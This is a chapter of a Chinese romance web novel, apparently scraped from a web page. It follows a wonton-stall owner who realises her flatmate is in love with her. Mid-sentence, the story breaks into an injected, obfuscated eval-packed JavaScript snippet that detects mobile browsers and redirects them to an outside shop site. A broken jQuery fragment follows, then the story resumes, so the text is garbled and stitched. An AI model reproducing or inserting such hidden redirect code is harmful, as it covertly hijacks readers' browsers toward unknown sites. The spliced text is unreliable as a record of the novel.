折叠桌那边的嬉笑瞬间消失,一张张脸带着愣怔和尴尬,北哥捏着纸巾擦桌子的手定住,在尴尬之余还有点僵硬。
谢若水心头仿佛被什么撞了一下,毫无预兆的。
就在这一个瞬间。
靠在裴昭充满占有欲的怀抱里,温热的气息洒在耳边,颈侧有毛呢大衣冰凉的磨砂感。
她毛骨悚然地意识到,裴昭对她并不单纯。
“哎,画画老师!”煎饼摊主在一旁很务实地喊,“我这个摊车什么时候能做啊?”
裴昭松开胳膊,转身往那边过去了。
毛呢袖子擦过颈侧带起一阵细细的电流,直通后脑勺。
谢若水感觉自己的脑浆跟锅里的水一样,咕噜噜冒着泡。
她真没想过这种情况,认识裴昭以后,她是受了裴昭很多照顾,但她……从来没往这方面想过。
和她一样懵的还有那群起哄的小伙子,一直到馄饨上桌,两桌人都没发出任何声响,全部在用眼神交流。
谢若水上完馄饨,回到摊车后面捡起围巾,在小马扎上坐下了。
耳朵嗡嗡的,不时在喧嚣中传来裴昭的声音,带着毫不掩饰的冷漠。
接这种单子,估计不想接受什么艺术指点。
态度一差,煎饼摊主也不好提太多条件,紧要的聊了几句,裴昭就回来了。
往她身边一坐,语气和平时没什么区别:“是不是快打好了?”
很随意,随意到像老头子跟老太太问家常,过分的熟稔。
谢若水理着毛线,没说话。
“干嘛?”裴昭抬头看她,“生气了?”
“……没。”谢若水余光看着裴昭包裹在西装裤里的腿。
她私心希望刚才是错觉,但像她这样脑袋里从来不装爱情的人都嗅出味道了,必然不会是错觉。
仔细回想,裴昭对她的确是过于照顾了。
以裴昭那个瘟猪一样的个性,怎么可能乐此不疲地帮不喜欢的姑娘清扫房间,做饭,甚至每天接送。
当然是因为喜欢啊!
怎么会是友谊呢?
谢若水整个人都不好了,她平等的、一视同仁地对男人不感兴趣,就算是裴昭也不行,这样以后要怎么相处?
“你很介意?”裴昭的声音再次在耳边响起。
谢若水现在一听他说话就小心脏一抖,脑袋跟老旧机器硬安了个新型马达一样艰难又飞快地转着,下一秒就要散架了。
裴昭性格这么骄傲,要是求爱被拒,肯定会收拾包袱走人。
以后就没人帮她扫地做家务了。
说实在的,她现在很忙,根本腾不出空做那些杂事。
大家都是成年人了,目光应该放在生意上嘛!
现在的合租模式明显对两人都好,她给裴昭拉生意,裴昭帮她做家务,互相照应着,天选生活搭子啊,干嘛要扯什么情情爱爱……
裴昭忽然倾身,声音低低的,牙缝里透着一点压不住的怒意,“怎么着你真喜欢他啊?”
“啊?”谢若水吓一哆嗦,手里的针都没拿稳。
裴昭靠得很近,头稍稍往下探,紧紧盯着她的眼睛,跟个威胁人的恶霸似的。
“不……没有。”谢若水瞪着眼。
“那你生什么气?”裴昭盯着她,“我帮你处理烂桃花还不好?还是你本身就享受这种追捧?”
“你……什么脑回路?”谢若水纳闷地说。
裴昭眉头紧拧,一脸的不高兴,“谁让你给我摆脸色。”
谁给谁摆脸色?
裴昭得到满意的回答,身子收回去了。
距离一拉开,谢若水就狠狠喘了口气。
看来裴昭目前没有打破关系的意思。
她垂眼看着手上的围巾,刚刚手抖,针都抽出来小半截了,她小心翼翼地穿回去。
她脑子很乱,一下子理不清,也不知道该怎么应对。
她可以无视北哥,但没办法无视朝夕相处的裴昭。
两个人对着沉默了一阵,裴昭找了个话题:“我中午去找唐镇军了。”
一提跟叶霜花有关的事,谢若水果然精神了,“唐镇军怎么说?”
“他说,给他点时间。”裴昭说。
谢若水眉头一皱,“意思就是非要纠缠我们霜花呗。”
裴昭“啧”了一声,“你对唐镇军未免太不公平了,难道叶霜花喜欢上一个人就一定能坚持到最后吗?那雷建怎么解释?”
“不是这么算的,”谢若水说,“现在是他俩处,霜花是义无反顾的,唐镇军都给自己备好后路了,你不能因为自己跟唐镇军关系好就假装看不见,他俩付出的感情完全不对等。”
裴昭觉得莫名其妙,“感情哪有算那么清楚的,你以为做生意呢?”
“我不懂感情,我只懂生意,我就知道这事儿对霜花没好处,”谢若水说,“哪怕他俩成了,唐镇军他妈也不是好相处的,这种人有什么值得浪费时间?”
裴昭:“……”
油盐不进的玩意儿。
喜欢不就是喜欢吗?喜欢就是想跟她在一块儿,喜欢就是两个人一起浪费时间也很开心,怎么什么事都能算上账?
干会计去吧。
裴昭有时候很烦谢若水,烦她世故,烦她品味低下,烦她多管闲事,烦她过分现实。
但看着她那张脸,负面情绪一晃而过,就只剩下拥抱的冲动。
还是喜欢她,恼火的时候看她也还是喜欢,这个黑暗里拉他一路走到灯光下的人。
裴昭揪了揪她的袖子。
“干嘛?”谢若水一边想糟心事一边打围巾,腾不出脑细胞给他。
“我明天晚上不回来了,”裴昭说,“可能接下来几天都不在。”
“你要干嘛去?”谢若水错愕地转头,脸上的紧张完全藏不住。
裴昭眉毛一挑,顿时雾散云开阳光明媚,“你舍不得我?”
“那……”可不嘛。
“我以前……”裴昭抿了抿唇,琢磨着怎么把自己说得不那么蠢,“我有个大学室友,毕业跟我一块儿做生意,结果卷钱跑了,现在人抓回来了,要打官司,我得回去处理一下。”
谢若水想起胖男人说的那件事,挺高兴地睁大眼,“抓回来啦?”
裴昭狐疑地看着她,“你知道?”
“呃……”谢若水对危险的嗅觉立马促使她装傻,“什么?”
裴昭已经把她看透了,眯起眼,“装什么装,唐镇军说的?”
“……商业街那边那个,管你喊裴总的男的说的。”谢若水老实交代。
裴昭盯着她看了一阵,冷笑,“呵,你都知道我这么惨了你不对我好点儿?”
“我当天就给你做牛肉了,”谢若水说,“我已经尽力了。”
裴昭一个白眼打过去,扭头不搭理她了。
北哥那一伙人吃完了,招呼都没打一声就走了,谢若水特意没往他们那边看。
本来没多大的事儿,裴昭
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17628631|203557||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
这么一搅合,对面不管是什么眼神都怪尴尬的。
“我要收摊了,还剩俩煎饼,你俩吃吧。”煎饼摊老板捧着俩煎饼过来,脸上一个勉强挤出来的笑脸,看着挺吓人。
谢若水仿佛两人之间从未有过矛盾,很客气地道了声谢,“回去慢点儿啊。”
“哎,好。”煎饼摊老板点点头,笑容软和了不少。
谢若水把煎饼递给裴昭。
裴昭接过来咬了一口,“你是对着一坨屎都笑得出来啊?”
“就数对你笑得最多。”谢若水含混着说。
裴昭下意识笑了笑,啃了小半个煎饼才反应过来,“谢若水?”
谢若水闷声笑了起来。
馄饨加量以后,谢若水收摊的时间就比过去晚了,夜市没客人了,还得骑摊车绕街。
裴昭让她蜷摊车里,自己在前面敲竹梆。
这人没什么耐心,竹梆敲得跟打鼓似的。
“你扰民了啊,”谢若水背靠木板,抱着膝盖说,“哪有这么敲的,隔五秒敲两下,轻轻敲就行了。”
裴昭喘着气,“又挣不了几个钱,还这么多事儿!”
谢若水笑了一声。
在半封闭空间里,闲下来,周围的木板摇摇晃晃,隔着一层薄薄的木板,就是呼哧喘气的裴昭。
她难免又想起那档子事儿。
如果不是因为喜欢,她怎么能享受到这一份待遇。
就这么厚着脸皮装傻,未免太自私,是不是该摊开了跟裴昭聊一回?
“帅哥!”一个陌生女人的声音在馄饨车外面响起。
“大份小份?”裴昭没好气地说。
谢若水:“?”
谢若水赶紧撑着木板撅了起来,正要往外钻,就听女人毫不介意地笑着说:“大份呗,来三份。”
哎这个看脸的世界!
谢若水还是钻了出去,往地上一跳,抬起头,笑盈盈地问:“没什么忌口吧?”
摊车另一边的三位女顾客愣了,看向她,脸上的笑容都没了,没得相当一致。
谢若水:“……”
哎这个性缘脑的世界!
还好这三位顾客没有因为帅哥背后突然蹦出个疑似对象的姑娘就放弃买馄饨。
谢若水煮好馄饨递给她们,笑眯眯地接过钱,顺便打了波广告,“我平时在夜市摆摊,好吃再来啊。”
接馄饨的客人冲她露出一个假笑,拉上姐妹赶紧走了。
谢若水本想钻回去,转头一看,裴昭坐在车座上,耷拉着肩膀不住顺气,两只耳朵不知道是冻的还是累的,通红。
“你下来吧,”谢若水上前拉他,“我自己来,你跟着走一段。”
裴昭回过脸,挑眼看着她,鬓角闪着细细的汗,“不用,你进去吧。”
“这有什么好勉强的,你骑这么老半天了还带个我。”谢若水握着他的胳膊把他往下拽。
裴昭不像她天天干体力活,力气是有,但没有使劲的窍门,就硬踩。
骑这么老半天,早就累得不行了,完全扛不住她手上的力道。
但裴昭不想下去,一把捏住她的脸,往面前一提。
两人的瞳孔迅速拉近,鼻尖险些就撞上了。
谢若水飞快地眨了几下眼,脸侧传来冰凉的触感,但扑在面上的却是滚烫的呼吸。
裴昭的眼睛很精致,睫毛一根一根的,眼底映着灯光,晃动着。
“别找揍,”裴昭声音沙哑,“乖,钻进去。”